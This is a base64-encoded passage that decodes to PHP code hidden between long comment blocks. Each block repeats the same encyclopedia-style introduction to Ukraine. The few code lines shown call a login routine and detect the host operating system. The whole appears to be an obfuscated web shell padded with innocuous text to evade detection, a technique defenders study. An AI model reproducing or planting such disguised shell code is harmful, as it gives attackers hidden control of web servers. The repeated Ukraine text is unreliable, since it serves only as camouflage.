jaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJZWxzZQoJCXByaW50TG9naW4oKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgppZiggc3RydG9sb3dlciggc3Vic3RyKFBIUF9PUywwLDMpICkgPT0gIndpbiIgKQovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCSRvcyA9ICd3aW4nOwplbHNlCgkkb3MgPSAnbml4JzsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0